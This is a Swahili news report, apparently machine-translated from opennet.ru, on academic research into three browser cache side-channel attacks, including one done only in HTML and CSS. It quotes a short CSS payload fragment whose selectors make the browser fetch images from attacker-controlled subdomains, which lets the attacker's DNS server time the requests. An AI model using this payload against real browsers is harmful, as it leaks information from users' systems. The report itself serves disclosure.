Shambulio la uchimbaji wa akiba ya CPU limetekelezwa katika kivinjari bila JavaScript

Timu ya watafiti kutoka vyuo vikuu kadhaa vya Marekani, Israel na Australia wameanzisha mashambulizi matatu ambayo yanaendeshwa kwenye vivinjari vya wavuti ili kutoa taarifa kuhusu maudhui ya akiba ya kichakataji. Njia moja inafanya kazi katika vivinjari bila JavaScript, na nyingine mbili hupita njia zilizopo za ulinzi dhidi ya mashambulizi ya njia ya upande, ikiwa ni pamoja na yale yaliyotumiwa kwenye kivinjari cha Tor na DeterFox. Nambari ya kuonyesha mashambulizi, pamoja na vipengele vya seva muhimu kwa mashambulizi, huchapishwa kwenye GitHub.

Ili kuchambua yaliyomo kwenye kashe, mashambulio yote hutumia njia ya Prime+Probe, ambayo inajumuisha kujaza kashe na seti ya kawaida ya maadili na kugundua mabadiliko kwa kupima muda wa ufikiaji kwao wakati wa kuijaza tena. Ili kukwepa njia za usalama zilizopo kwenye vivinjari ambazo huingilia kipimo sahihi cha wakati, katika chaguo mbili, rufaa inakatwa kwa seva ya DNS au WebSocket inayodhibitiwa na mshambulizi, ambayo huweka kumbukumbu ya wakati wa maombi yaliyopokelewa. Katika embodiment moja, muda maalum wa majibu ya DNS hutumiwa kama marejeleo ya wakati.

Vipimo vilivyofanywa kwa kutumia DNS ya nje au seva za WebSocket, kwa kutumia mfumo wa uainishaji kulingana na ujifunzaji wa mashine, vilitosha kutabiri maadili kwa usahihi wa hadi 98% katika hali bora zaidi (wastani wa 80-90%). Mbinu za mashambulizi zimejaribiwa kwenye majukwaa mbalimbali ya vifaa (Intel, AMD Ryzen, Apple M1, Samsung Exynos) na imeonekana kuwa ya ulimwengu wote.

Shambulio la uchimbaji wa akiba ya CPU limetekelezwa katika kivinjari bila JavaScript

Kibadala cha kwanza cha shambulio la Mashindano ya DNS hutumia utekelezaji wa kawaida wa mbinu ya Prime+Probe kwa kutumia safu za JavaScript. Tofauti zinatokana na matumizi ya kipima saa cha nje cha DNS na kidhibiti cha onerror, ambacho huanzishwa wakati jaribio linapofanywa la kupakia picha kutoka kwa kikoa ambacho hakipo. Kipima muda cha nje huruhusu shambulio la Prime+Probe kwenye vivinjari ambavyo vinazuia au kuzima kabisa ufikiaji wa vipima muda vya JavaScript.

Kwa seva ya DNS iliyo kwenye mtandao huo wa Ethernet, usahihi wa timer inakadiriwa kuwa takriban 2 ms, ambayo inatosha kutekeleza shambulio la njia ya upande (kwa kulinganisha, usahihi wa kipima saa cha JavaScript kwenye Kivinjari cha Tor ni. kupunguzwa hadi 100 ms). Kwa shambulio hilo, udhibiti wa seva ya DNS hauhitajiki, kwani wakati wa utekelezaji wa operesheni huchaguliwa ili wakati wa kujibu kutoka kwa DNS utumike kama ishara ya kukamilika kwa ukaguzi mapema (kulingana na ikiwa kidhibiti cha kosa kilisababishwa. mapema au baadaye, hitimisho hutolewa kuhusu kasi ya operesheni ya hundi na cache) .

Mbinu ya pili ya mashambulizi, "String and Sock", inalenga kukwepa mbinu za usalama zinazozuia matumizi ya kiwango cha chini cha safu katika JavaScript. Badala ya safu, String na Sock hutumia shughuli kwenye kamba kubwa sana, ukubwa wa ambayo huchaguliwa ili kutofautiana kufunika cache nzima ya LLC (cache ya ngazi ya mwisho). Ifuatayo, kwa kutumia indexOf() kazi, kamba ndogo hutafutwa kwenye kamba, ambayo hapo awali haipo kwenye safu ya chanzo, i.e. Operesheni ya utaftaji husababisha kurudia kwa safu nzima. Kwa kuwa ukubwa wa mstari unafanana na ukubwa wa cache ya LLC, skanning inakuwezesha kufanya operesheni ya kuangalia cache bila kuendesha safu. Ili kupima ucheleweshaji, badala ya DNS, simu inapigwa kwa seva ya WebSocket inayodhibitiwa na mshambuliaji - kabla na baada ya operesheni ya utafutaji kukamilika, maswali hutumwa kwa mstari, kulingana na ambayo seva huhesabu kuchelewa kutumika kuchambua kache. yaliyomo.

Lahaja ya tatu ya shambulio la "CSS PP0" inatekelezwa kupitia HTML na CSS, na inaweza kufanya kazi katika vivinjari na JavaScript imezimwa. Njia hiyo ni sawa na "String na Sock", lakini haijaunganishwa na JavaScript. Wakati wa shambulio, seti ya viteuzi vya CSS huzalishwa utafutaji huo kwa kutumia barakoa. Mfuatano mkubwa wa awali unaojaza kache umewekwa kwa kuunda lebo ya div yenye jina kubwa sana la darasa. Ndani kuna seti ya divs zingine zilizo na vitambulisho vyao wenyewe. Kila moja ya div hizi zilizowekwa kiota ina mtindo wake na kiteuzi ambacho hutafuta kamba ndogo. Wakati wa kutoa ukurasa, kivinjari hujaribu kwanza kuchakata div za ndani, ambayo husababisha operesheni ya utaftaji kwenye safu kubwa. Utafutaji unafanywa kwa kutumia barakoa iliyokosekana kimakusudi na kusababisha kurudia kwa mstari mzima, kisha hali ya "si" inaanzishwa na jaribio linafanywa la kupakia picha ya usuli inayorejelea vikoa nasibu: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Vikoa vidogo huhudumiwa na seva ya DNS ya mvamizi, ambayo inaweza kupima ucheleweshaji wa kupokea maombi. Seva ya DNS hutoa NXDOMAIN kwa maombi yote na huweka kumbukumbu ya muda halisi wa maombi. Kama matokeo ya kuchakata seti ya divs, seva ya DNS ya mshambuliaji hupokea maombi kadhaa, ucheleweshaji ambao unahusiana na matokeo ya kuangalia yaliyomo kwenye kache.

Shambulio la uchimbaji wa akiba ya CPU limetekelezwa katika kivinjari bila JavaScript


Chanzo: opennet.ru

Kuongeza maoni